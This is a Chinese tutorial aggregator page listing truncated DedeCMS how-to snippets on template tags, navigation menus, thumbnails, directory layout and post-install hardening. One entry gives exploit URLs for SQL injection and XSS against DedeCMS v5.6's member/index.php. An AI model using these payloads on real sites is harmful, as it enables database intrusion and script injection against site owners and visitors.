DEDECMS - 技术教程文章

织梦DedeCMS v5.7 实现导航条下拉菜单【代码】

首先将下面这段代码贴到templets\default\footer.htm文件里(只要在此文件里就行,位置无所谓)<!-- //二级子类下拉菜单 ,考虑SEO原因放置于底部 --><script type=‘text/javascript‘ src=‘{dede:global.cfg_cmsurl/}/images/js/dropdown.js‘></script>{dede:channelartlist typeid=‘top‘ cacheid=‘channelsonlist‘}<ul id="dropmenu{dede:field.typeid/}" class="dropMenu">{dede:channel type=‘son‘ noself=‘yes‘} <l...

dedecms 列表 用分页标签 判断 当第一页则显示,第二页以上不显示 土办法!【代码】

arc.listview.class.phpfunction GetPageListST($list_len,$listitem="index,end,pre,next,pageno,spurl") // ,spurl新增的,spurl新境的 $purl = $this->GetCurUrl();$maininfo = "<li><span class=\"pageinfo\">共 <strong>{$totalpage}</strong>页<strong>".$this->TotalResult."</strong>条</span></li>\r\n";$tnamerule = $this->GetMakeFileRule($this->Fields[‘id‘],"list",$this->Fields[‘typedir‘],$this->Fie...

dedecms织梦如何调用指定的多个栏目导航

我们在仿站的过程中。经常会遇到需要调用多个指定的顶级栏目导航,那我们如何实现呢,织梦58在这里给大家使用标签介绍一下: {dede:channelartlist row=‘2‘ typeid=‘1,2这里输入多个指定的栏目ID‘ }<li><a href=‘{dede:field name=‘typeurl‘/}‘>{dede:field name=‘typename‘/}</a></li>{/dede:channelartlist}原文:https://www.cnblogs.com/l9l99/p/12757908.html

DEDECMS之五 单页【图】

在网站开发中经常碰到关于我们、联系方式等简单的页面,那么在DEDECMS中如何实现?一、效果以上左侧导航的链接都是单页,右边为内容部分 二、单页的实现创建频道封来实现1.常规选项2.高级选项3.栏目内容4.保存,然后对本栏目点击更改操作,去掉“文件保存目录”的目录的最后一个文件夹  如本例:  文件保存目录: {cmspath}/about/danyemingcheng 改为 {cmspath}/about5.生成栏目,即可调用/about/about.html 原文:http://www...

dedecms程序给栏目增加缩略图的方法

用织梦程序做网站,有时候因为功能需求,我们要为网站的栏目页添加缩略图功能,而dedecms又没自带这个功能,那么就需要我们来修改程序了。这里有一个栏目添加缩略图的方法,供大家参考。涉及到文件如下(注意备份):dede/catalog_add.php dede/catalog_edit.phpdede/templets/catalog_add.htmdede/templets/catalog_edit.htm打开文件夹templets这个目录,在里面新建一个文件夹typeimg,用于独立存放栏目缩略图新加字段 typeimg后...

dedecms文件目录结构

以下是安装dedecms之后的目录机构:“a”: 默认HTML文件“data”: 系统缓存或其它可写入数据“dede”: 后台管理目录“images”: 系统默认模板图片“include”: 类库文件“install”: 安装程序可删除“member”: 会员“plus”: 附助程序“special”: 专题“templets”: 系统内核模板“uploads”: 默认上传“index.php”: 首页“robots.txt”: 搜索控制文件“tags.php”: 标签页650) this.width=650;" src="http://he...

仿dedecms下拉分页样式修改的thinkphp分页类实例

本文实例讲述了仿dede下拉分页样式修改的thinkphp分页类。分享给大家供大家参考。具体实现方法如下:修改thinkphp分页类:如下拉列表式分页(类似dedecms分页):纯html代码:复制代码 代码如下:<select name="sldd" style="width:36px" onchange="location.href=this.options[this.selectedIndex].value;"> <option value="http://URL/1">1</option> <option value="http://URL/2" selected="selected">2</option> </select>修改Pa...

dedecms 批量提取第一张图片最为缩略图的代码(文章+软件)

具体的实现代码,如下:下面会给简单的说明。复制代码 代码如下:<?php /* 1. 配置好你的数据库连接 2. 注意数据表名的前缀 默认为dede_ 3. 一定要先备份你的数据库 或备份dede_archives表 如产生损失本人概不负责 */ //数据库连接设置 $ip = "localhost"; //地址 $user = "jb51"; //用户名 $pw = "www.jb51.net"; //密码 $db = "jb51"; //表名 $conn=mysql_connect ($ip,$user,$pw); mysql_select_db($db); mysql_query("set names...

DEDEcms二次开发数据表参数

1、程序核心程序目录及简介 /include目录 程序核心目录config_base.php 环境定义文件。用于检测系统环境,定义工作目录,保存数据库链接信息,引入常用函数等,建议不要修改。config_hand.php 系统配置文件。定义系统常用的配置信息定义,可从后台管理直接生成该文件。config_passport.php 通行证文件 config_rglobals.php 检测系统外部变量config_rglobals_magic.php 同上 inc_archives_view.php 用于浏览文档或对文档生成HT...

dedecms提取某栏目及子栏目名称到首页怎么弄【代码】【图】

我们建网站时有不同的需求,例如为页面创建一个栏目导航,用dedecms如何提取某栏目及子栏目名称和链接呢?如下图所示,先列出指定的顶级栏目,在下方再列出此栏目的所有子栏目。  之前ytkah说过dedecms调用当前栏目的子栏目怎么操作,我们可不可以发散一下思维进行扩展呢?  先列出指定的顶级栏目,以近视为例,typeid为8{dede:type typeid=‘8‘} <a href="[field:typeurl/]">[field:typename/]</a> {/dede:type}  再列出近...

dedecms批量删除文档关键词可以吗【代码】【图】

这几天在重新整服务器,几个站点都是用dedecms搭建的,版本相对比较早,虽然都已经打了补丁,但客户还是在纠结,所以就下载了新的系统进行搭建(注意编码要和原来的一样),导入数据,一切安好,可发现后台有很多的文档关键词都是不相关的,以其这样不如直接删除,问题来了,几百条数据,一页页删到什么时候,怎么批量删除呢?DELETE FROM dede_keywords一行代码轻松搞定。  如果想批量删除搜索关键词呢?也是可以实现的Delete f...

织梦DedeCMS栏目二级域名绑定方法

织梦DedeCMS栏目二级域名绑定方法1. 概念如果一个域名是abc.com ,是由一个字符串加一个域名尾,中间用“.”号隔开。这就是一个一级域名,如果在顶级域名前在由“.”隔开加上不同的字符,比如bbs.abc.com,那么我们就说bbs是顶级域名abc.com的一个主机名,bbs.abc.com就是一个二级域名。我们在使用DedeCMS建站的时候往往需要用到栏目绑定二级域名2. 应用范围一般栏目设置二级域名还是比较多的,不过这类站点可能需要达到一定的...

DedeCMS程序include目录文件作用解析

arc.archives.class 主文档类(Archives类)arc.caicai.class 踩踩文档类arc.freelist.class 自由列表类arc.listview.class 文档列表类arc.memberlistview.class 会员列表视图类arc.partview.class 视图类arc.rssview.class RSS视图类arc.searchview.class 搜索视图类arc.sglistview.class 单表模型列表视图类arc.sgpage.class 单表模型视图类arc.specview.class 专题视图类arc.taglist.class Tag列表类channelunit.class 频道模型单...

DEDECMS安装之后需要做的安全处理和须知

安装好DEDECMS程序之后需要做的那些安全操作:第一、将网站后台文件夹/dede改名为其他的,例如:/51php.com;第二、删除根目录下的 install安装文件夹;第三、删除根目录下的member文件夹;第四、删除根目录下的plus文件夹下除 list.php、view.php、count.php之外的其他所有php文件!第五、后台设置,关闭会员功能;第六、后台设置,修改水印文件。上传新的水印文件到/data/mark;第七、修改 根目录下的 favicon.ico为自己的;第八、...

织梦dedecms如何让内容页显示不同的内容,但是每次更新都不变

织梦dedecms如何让内容页显示不同的内容,但是每次更新都不变。  今天圈子里面有个朋友,给我提了一个需求,他的内容页里面有个相关推荐,他想每个内容页显示的内容都不一样,但是内容要固定的,更新不要变。  一般我们的做法就是调用织梦的随机排序,但是随机当然就是变的,就达不到他的要求.  所以在此给出了一个解决方案,记录下,方便后续可以帮助到其他织梦爱好者。  {dede:sql sql=’Select*from dede_archives where id>~id~l...

dedecms4张关键表解析之1【图】

虽然dedecms默认共有87张表,但是只有4张最核心,最最要的表。1.第一张表:dede_arctype 栏目表dede设计者认为不管存放什么样的数据(文章,商品,电影)都应该属于某个栏目(类型),所以设计了这张表。仅此而已(猜测哈哈)。那么这张表长什么样子呢?自己安装个phpmyadmin去看吧。每次添加一个新的顶级栏目数据就会存在这张dede_arctype栏目中 前台效果 后台效果 数据库效果 原文:http://www.cnblogs.com/andyhxl/p/5994088....

DEDEcms 织梦后台去除去掉左侧系统帮助版权方法【代码】

找到后台目录dede\inc\inc_menu.php把下面这句的makeremote_all.php 这个链接修改掉即可.$remoteMenu = ($cfg_remote_site==‘Y‘)? "<m:item name=‘远程服务器同步‘ link=‘makeremote_all.php‘ rank=‘sys_ArcBatch‘ target=‘main‘ />" : "";原文:http://my.oschina.net/ppss/blog/507048

解决织梦dedecms文档关键字(自动内链)php5.5以上失效的问题 urf-8版本的

找到include/arc.archives.class在里面需要修改两次地方 在1230行 // 这里可能会有错误 if (version_compare(PHP_VERSION, ‘5.5.0‘, ‘>=‘)) { $body = @preg_replace_callback("#(^|>)([^<]+)(?=<|$)#sU", "_highlight(‘\\2‘, \$karr, \$kaarr, ‘\\1‘)", $body); } else { $body = @preg_replace("#(^|>)([^<]+)(?=<|$)#sUe", "_highlight(‘\\2‘, \$karr, \$kaarr, ‘\\1‘)...

dedecms v5.6 GBK 注入漏洞利用(member/index.php)

EXP: htp://127.0.0.1/member/index.php?uid=%20||%20%20||%20%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7; 会员中心首页(../member/index.php)函数过滤不严格造成盲注,数据库错误模式,XSS EXP: htp://127.0.0.1/member/index.php?uid=‘%20||%20‘‘%20||%20‘%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7‘; htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe‘")/> htp://127.0.0.1/member/index.php?...

dedecms浏览次数统计需要的设置

如果想显示点击次数,请增加view参数,即把下面JS调用放到文档模板适当位置<script src="{dede:field name=‘phpurl‘/}/count.php?view=yes&aid={dede:field name=‘id‘/}&mid={dede:field name=‘mid‘/}" language="javascript"></script>普通计数器为<script src="{dede:field name=‘phpurl‘/}/count.php?aid={dede:field name=‘id‘/}&mid={dede:field name=‘mid‘/}" language="javascript"></script>原文:...

织梦DedeCMS调用二级子栏目或者多级栏目的方法【图】

图2当前栏目typeid值为3,所以代码如下:{dede:channelartlist typeid=‘3,3‘} <a href="{dede:field name=‘typeurl‘/}">{dede:field name=‘typename‘/}</a> <hr><!-- 这里我们加一个横线,已区分顶级栏目、子栏目,此处为注释文字,可以删除--> {dede:channel type=‘son‘ noself=‘yes‘} <a href="[field:typelink/]">[field:typename/]</a><br /> {/dede:channel} {/dede:channelartlist}效果图:图3我们...

dede去除powered by dedecms【代码】【图】

include/dedesql.classs.php文件中找到第588行: $arrs1 = array(0x63,0x66,0x67,0x5f,0x70,0x6f,0x77,0x65,0x72,0x62,0x79); $arrs2 = array(0x20,0x3c,0x61,0x20,0x68,0x72,0x65,0x66,0x3d,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f, 0x77,0x77,0x77,0x2e,0x64,0x65,0x64,0x65,0x63,0x6d,0x73,0x2e,0x63,0x6f,0x6d,0x20,0x74,0x61,0x72, 0x67,0x65,0x74,0x3d,0x27,0x5f,0x62,0x6c,0x61,0x6e,0x6b,0x27,0x3e,0x50,0x6f,0x77,0x65,0x72,...

dedecms中调用文章,标题超过限制字数时,在标题后面加上省略号...【代码】

在dedecms中调用文章,当标题超过限制字数时,怎么在标题后面加上……呢。其实不论是在首页还是列表页还是内容页调用文章,不管是arclist还是list标签调用文章,只需要把[field:title]这个标签适当修改。一般是类似于这样:{dede:arclist row=‘10‘} <li><a href="[field:arcurl /]" title="[field:fulltitle/]">[field:title/]</a></li> {/dede:arclist}如果需要限制字数,可以增加titlelen=’80′,代码为:{dede:arclist row=‘...

dedecms5.7二级域名文章图片不显示修改方法.相对路径改为绝对路径的方法

dedecms5.7(织梦CMS5.7)二级域名文章图片不显示修改方法.相对路径改为绝对路径的方法   dedecms升级到5.7SP1后,开启二级域名,你会发现,在二级域名下的文章,上传的图片地址都是:二级域名+图片地址,这是相对路径。但是你的图片是默认上传在uploads里面的。应该使用绝对路径。这就出现图片路径错误,导致图片不显示。那怎么修改这种情况呢?我在网上看了好多方法,但是大部分最终是不可用的。在这里,将两种有效的方法分享给大...

dedecms调用子栏目内容,缩略图,以及栏目名字【图】

织梦后台栏目页默认是没有添加缩略图的选项的,所以首先我们要调整后台提交表单使界面出现上传图片的地方,如下图所示: 织梦后台默认是没有栏目缩略图选项的,所以首先你需要从网上下载对应需要修改的文件,从这个链接http://pan.baidu.com/s/1mgC2YQ8中下载替换的文件,找到对应的文件夹进行替换。第二步,图片字段为:arcpic 调用图片路径为:[field:arcpic] 在数据库中创建arcpic,sql语句ALTER TABLE `dede_arctype` ADD `ar...

dedecms ---m站功能基础详解

织梦2015年6月8日更新后,就添加了很多针对手机移动端的设计,最大的设计就是添加了生成二维码的织梦标签和织梦手机模板功能,织梦更新后,默认的 default模板中就包含手机模板,所以我们可以给织梦网站设计双模板,电脑网站pc模板和手机wap模板,很方便。我们在制作模板时通常都会参考织梦默认模板default中的标签使用,所以,接下来我们就来分析一下织梦默认模板default中使用手机模板的制作方法(注意本教程适合有织梦模板开发经...

dedecms获取当前文章所在栏目URL【代码】

我们知道dedecms有一个面包屑导航的调用函数,{dede:field name=‘position‘/},这个样式是固定的,有时要个性化一些的话需要修改很多地方,那么织梦cms有没其他方法获取当前文章所在栏目URL呢?有的!<a href=‘{dede:type typeid=‘0‘ row=1}[field:typelink /]{/dede:type}‘ style="color:blue;">{dede:field.typename/}</a> 这样的话就可以自定义首页链接的锚文本了,默认都是“首页”,我们都知道锚文本对内部链接/外部链接...

给DEDECMS广告管理中增加图片上传功能【图】

dedecms的广告管理功能稍微有点次,本文就是在dedecms广告管理原有的基础上增加广告图片上传功能。安装方法,对应自己的dedecms版本下载对应的编码然后解压把里面的文件放在后台目录覆盖即可。效果图: 原文:https://www.cnblogs.com/liu-zhijun/p/11404535.html

DEDECMS中,自增长标签【图】

自增长arclist 标签下使用 [field:global.autoindex/] 默认从1开始channel 标签下使用 [field:global.autoindex/] 默认从0开始channelartlist 标签下使用 {dede:global.itemindex/} 默认从1开始 原文:http://www.cnblogs.com/D-Chen/p/5726477.html

如何使用mysql(lamp)分离环境搭建dedecms织梦网站及apache服务器常见的403http状态码及其解决方法【图】

一、实验环境 centos6.5+mysql5.5.32+php5.3.27 软件:DedeCMS-V5.7-GBK-SP1本实验是使用lamp环境搭建,但mysql数据库与之分离,本实验成功的关键在于防火墙及其selinux关闭的前提下实现。 二、实验步骤 1)下载产品,并解压至www目录内wget -O /home/chen/tools/ http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-GBK-SP1.tar.gztar xf DedeCMS-V5.7-GBK-SP1.tar.gz mv DedeCMS-V5.7-GBK-SP1/uploads/* /var/htm...